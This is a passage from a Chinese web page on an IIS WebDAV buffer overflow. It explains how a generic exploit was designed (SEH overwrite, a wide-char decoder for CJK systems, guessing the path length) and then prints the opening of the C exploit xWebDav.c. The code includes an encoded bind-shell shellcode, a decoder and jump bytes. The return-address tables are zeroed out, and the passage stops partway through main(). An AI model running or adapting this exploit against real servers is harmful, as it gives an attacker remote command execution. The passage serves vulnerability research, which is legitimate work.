📄 webdav漏洞简单分析及通用exploit设计.html
字号:
exploit中就是采用了后者。具体怎么猜我就不罗嗦了。<br />
<br />
<br />
<br />
-=-=-=- 第四部分 exploit -=-=-=-<br />
<br />
现在我们已经有了如下资源：<br />
<>简体中文、繁体中文、日文、韩文系统上通用的解码代码<br />
<>知道了怎么样精确的猜测出IIS Path长度，并且在猜中同时将jmp addr精确的覆盖在指定的地方。<br />
我们还需要：<br />
<>符合上述四种平台wide char范围的jmpover代码。这个简单。<br />
<>jmp addr地址。在我的exploit中采用的是覆盖SEH，所以jmpaddr可以用call ebx，<br />
或push ebx;ret，前者容易在系统dll中找到，但后者就比较少了。注意：jmpaddr地址也必须符合相应平台<br />
的wide char范围。找出各种平台通用的地址很难，至少我没有找到。但是我发现简体中文、繁体中文中某些<br />
系统DLL是一样的，所以能找到相同的地址。在日文、韩文中也有某些系统DLL是一样的，也能找到相同的<br />
地址。<br />
<br />
<br />
-=-=-=-=-=-=-=-=-=-=-=-=-=-= xWebDav.c -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-==-=-=-=-=<br />
#include <winsock2.h><br />
#include <windows.h><br />
#include <stdio.h><br />
<br />
#pragma comment(lib,"ws2_32")<br />
#define NOPCODE 0x4F//0x4F//'O'<br />
#define BUFFLEN 65536+8//传递给GetFileAttribeExW的buff长度<br />
#define OVERPOINT 0x260//溢出点-0x14 SEH-0x4<br />
#define MaxTry 8//连接失败后重试次数<br />
#define DefaultOffset 23<br />
#define RecvTimeOut 30000//ms, 30s<br />
#define StartOffset 6<br />
#define EndOffset 80<br />
#define RetAddrNum 12//可用的ret addr数量<br />
/*严重错误，程序退出*/<br />
#define ERROR_OTHER 0//other error<br />
#define ERROR_METHOD_NOT_SUPORT 1//no valu<br />
#define ERROR_NOT_IIS 2//not iis<br />
/*继续猜测offset*/<br />
#define ERROR_RESOURCE_NOTFOUND 3//offset error<br />
#define ERROR_BAD_REQUEST 4//offset error?<br />
/*成功了?*/<br />
#define ERROR_RECV_TIMEOUT 5//success?<br />
/*尝试不同的ret addr*/<br />
#define ERROR_CONNECT_RESET 6//offset ok?但ret addr错误<br />
#define ERROR_CONNECT_FALIED 7//can't connect<br />
//[100 bytes]<br />
unsigned char decoder[] =<br />
"%u0000%u7409%u4E07%u584A%u9050%u4FC3%u9053%u665E"<br />
"%u4EAD%u4F46%u6643%u973D%u906F%u9051%u7559%u53F0"<br />
"%u5F56%u574A%u6643%u50AD%u6643%u4F3D%u9000%u7459"<br />
"%u4ED5%u642C%u5950%u4F46%u9047%u6643%u50AD%u584B"<br />
"%u642C%u574A%u9051%u5F90%uFF03%uFF03%uFF03%uFF03"<br />
"%u0391%u91CF%u5F90%u90AA%u7441%u90CA%u9051%u7559"<br />
"%u4EC4%u6F97";<br />
/*绑定cmd的shellcode是从isno的exploit上copy过来的*/<br />
unsigned char xShellCode[]=<br />
"mdrodgiqrodirlslsssssslgpieimdmdmdlopiggpmjjomeddgidldgdmkhdrfsnkrlrmimkmkpqephq"<br />
"ehkpmdsqjlphsggjmkmkmkmkpksgerofmkmkmkmknhhpfpmkmkkkrdkshomjmkmkejjpmkmkjlflmleh"<br />
"immjmkmkejihmkmkmjmkseejnpqnpqrfkdnhikepqhnomhihseejnspkqfrfhrehikrsepnkmhjhepqm"<br />
"momhipejnrqpqfpiqmrfifejrrmgqfqonhnirffonhjlepqeokmhihepipmhmsejnrqdsfrgpkrfmrej"<br />
"rrmgrislshqjrgmeqdehikmgkpkfmhjlmhjpeppeogmhjqnhhiseepldepjqepqelkqsmhjsnhirepil"<br />
"mhirmhirmhqmlomhipepnrmhjpkrsrmjmkmkpmedjdephdnhikjdhkepisjiglernienqimspipkphjl"<br />
"lipqerqimgenrilfpipejlpimgpqnhikgoegikrfjrnhireqmmegirrgmrpipephjllipqgpkiksqepi"<br />
"pejlpimgpqephsnhikgoegikrfjrnhireqmmekjrmirgmrpipephjllipqgpkikdnhikpkqkpkqkpkjl"<br />
"pdksdhsqlkpephjlpdkosqmiphjlpdjknhikpdpkfkmogppsgpqkgpplqspkpdpegnpejlpdikqspkpd"<br />
"gnpegnpejlpdikqsfkqgermdpdjlpdignhikepqejgerqdnoerqdqkepmeerqdnsnhiksefsmjmjerqd"<br />
"oopdpdnhikpkpkpkqkpkqspkpkgnpenhikpkjlpdisjlrejkjlpdiojlrejojlpdioqspkpkphjlpdjg"<br />
"ephsnhikfgmgpkijksmgpkjlpdhgepjknhikepisffmgpkpkpdpjpejlrdgsjlpdhkehnlmjrooinhik"<br />
"pkpdjlndpejlrdgsjlpdhompikrgolnhikpkjlndpephjlpdjssqpkjlpdkkkpisnhikpkfgmgpkpeph"<br />
"jlpdjopdnhirpjpkpejlrdgojlpdhssqpkjlpdkkkpgqpkjlpdkgkpjmpspkerqijiihepqgogmomffs"<br />
"mkmkmkidmkrspenglinhikihkpkokskijnjljlksdijmjljlqppekdrdohekkdrdqoslsjsgqosrsiri"<br />
"sjrirrqjmkqpqfpiqmqfqonhnimkqhrisfsjrgsfpksrrksfmkqdsfrgphrgsjrirgrfrkqrsmseslqj"<br />
"mkqhrisfsjrgsfpkrislshsfrhrhqjmkqhsoslrhsfqssjsmsgsosfmkpksfsfspqmsjsnsfsgpksrrk"<br />
"sfmkqdsoslsisjsoqjsososlshmkpdrisrrgsfqesrsosfmkpisfsjsgqesrsosfmkphsosfsfrkmkqf"<br />
"rssrrgpkrislshsfrhrhmkmkpdphqlqhqpnhnimkrhslshspsfrgmksisrsmsgmksosrrhrgsfsmmksj"<br />
"shshsfrkrgmkrhsfsmsgmkrisfshremkmimklmsomkmkmkmkmkmkmkmkmkmkmkmkshsnsgomsfrssfmk"<br />
"jljljljldd";<br />
<br />
unsigned char jmpover[]="%u9041%u6841";//0x41 inc ecx , 0x68 push num32<br />
unsigned int g_iConnectError=0;<br />
<br />
/*恕不提供此处数据*/<br />
unsigned int g_iRetAddrList[3][4]={<br />
{<br />
0,//call ebx addr at xx.dll in sp0_cn_tw，符合(cn、tw) wide char编码<br />
0,//call ebx addr at xx.dll in sp1_cn_tw，符合(cn、tw) wide char编码<br />
0,//call ebx addr at xx.dll in sp2_cn_tw，符合(cn、tw) wide char编码<br />
0//call ebx addr at xx.dll in sp3_cn_tw，符合(cn、tw) wide char编码<br />
},<br />
{<br />
0,//call ebx addr at xx.dll in sp0_jp_ko，符合(jp,ko) wide char编码<br />
0,//call ebx addr at xx.dll in sp1_jp_ko，符合(jp,ko) wide char编码<br />
0,//call ebx addr at xx.dll in sp2_jp_ko，符合(jp,ko) wide char编码<br />
0//call ebx addr at xx.dll in sp3_jp_ko，符合(jp,ko) wide char编码<br />
},<br />
{<br />
0,//call ebx addr at xx.dll in sp0_en，符合(cn、tw、jp、KO) wide char编码<br />
0,//call ebx addr at xx.dll in sp1_en，符合(cn、tw、jp、KO) wide char编码<br />
0,//call ebx addr at xx.dll in sp2_en，符合(cn、tw、jp、KO) wide char编码<br />
0//call ebx addr at xx.dll in sp3_en，符合(cn、tw、jp、KO) wide char编码<br />
}<br />
};<br />
int SendBuffer(char *ip, int iPort, unsigned char *buff, int len);<br />
int MakeExploit(unsigned int retaddr, int offset, char *host, char *ip, int iPort);<br />
void usage();<br />
<br />
void main(int argc, char **argv)<br />
{<br />
int i, iRet,k,iOsType, iSP;<br />
unsigned int iOffset,iPort,iStartOffset, iEndOffset,iCorrectOffset;<br />
char *ip,*host;<br />
unsigned int iRetAddrList[RetAddrNum], iRetAddrNum;<br />
<br />
memset(iRetAddrList, 0, sizeof(iRetAddrList));<br />
iRetAddrNum=0;<br />
ip=NULL;<br />
host=NULL;<br />
iPort=80;<br />
iOsType=-1;<br />
iSP=-1;<br />
iOffset=0;<br />
iCorrectOffset=0;<br />
<br />
if(argc<3)<br />
{<br />
usage();<br />
return;<br />
}<br />
for(i=1;i<argc;i+=2)<br />
{<br />
if(strlen(argv[i]) != 2)<br />
{<br />
usage();<br />
return;<br />
}<br />
//检查是否缺少参数<br />
if(i == argc-1)<br />
{<br />
usage();<br />
return;<br />
}<br />
switch(argv[i][1])<br />
{<br />
case 'i':<br />
ip=argv[i+1];<br />
break;<br />
case 'h':<br />
host=argv[i+1];<br />
break;<br />
case 'p':<br />
iPort=atoi(argv[i+1]);<br />
break;<br />
case 't':<br />
iOsType=atoi(argv[i+1]);<br />
break;<br />
case 's':<br />
iSP=atoi(argv[i+1]);<br />
break;<br />
case 'o':<br />
iOffset=atoi(argv[i+1]);<br />
break;<br />
}<br />
}<br />
//检查参数<br />
if(!ip)<br />
{<br />
usage();<br />
return;<br />
}<br />
if(!host) host=ip;<br />
<br />
if(!iOffset) <br />
{<br />
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -